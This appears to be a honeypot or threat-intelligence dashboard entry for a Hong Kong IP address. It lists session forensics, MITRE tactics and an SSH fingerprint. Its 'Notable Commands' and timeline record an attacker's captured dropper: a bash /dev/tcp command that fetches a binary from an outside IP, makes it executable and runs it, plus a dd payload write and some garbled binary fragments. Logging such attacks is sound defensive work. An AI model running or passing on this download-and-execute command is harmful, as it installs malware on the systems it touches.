← Back to feed
Location
🇭🇰 HK / Hong Kong
ASN
AS45102 · Alibaba US Technology Co., Ltd.
Cloud Provider
—
Total Events
14
Average by volume
Agent Count
1
First / Last Seen
2026-04-11 15:03 — 2026-04-11 15:03
Attack Types
MITRE ATT&CK Techniques
Initial Access
Execution
Command and Control
External Corroboration
Not flagged by any external feeds
Campaigns
Not associated with any campaigns
Session Forensics
Sessions
1 (1 with login)
Avg Depth Score
1.0
Commands Executed
5
Files Downloaded
1
Notable Commands
- nohup bash -c "exec 6<>/dev/tcp/103.101.153.27/60100 && echo -n 'GET /linux' >&6 && cat 0<&6 > /tmp/U7jji7JqY6 && chmod +x /tmp/U7jji7JqY6 && /tmp/U7jji7JqY6 KPgz5igp+S75LCrmMv8jL/gx+Ck5/DPmICDmMfk3Lvs6/iko+jiGkj1anwU=" &
- dd bs=1 count=1911588 > /tmp/iCD3jvVSi4
- nohup bash -c "exec 6<>/dev/tcp/103.101.153.27/60100 && echo -n 'GET /linux' >&6 && cat 0<&6 > /tmp/U7jji7JqY6 && chmod +x /tmp/U7jji7JqY6 && /tmp/U7jji7JqY6 KPgz5igp+S75LCrmMv8jL/gx+Ck5/DPmICDmMfk3Lvs6/iko+jiGkj1anwU=" &0O0O6(6(Qtd?UPX!
- >D6@/XJ'8
- CMD:
Fingerprints
HASSH
SSH Client
Evidence Timeline
Malware Dropper
d961bd1b5fa6
LOGIN
5
1
2
100%
Loading events...
HASSH 2f5ebb184f5d023…
SSH-2.0-makiko
$ nohup bash -c "exec 6<>/dev/tcp/103.101.153.27/60100 && ech…$ dd bs=1 count=1911588 > /tmp/iCD3jvVSi4$ nohup bash -c "exec 6<>/dev/tcp/103.101.153.27/60100 && ech…$ >D6@/XJ'8$ CMD: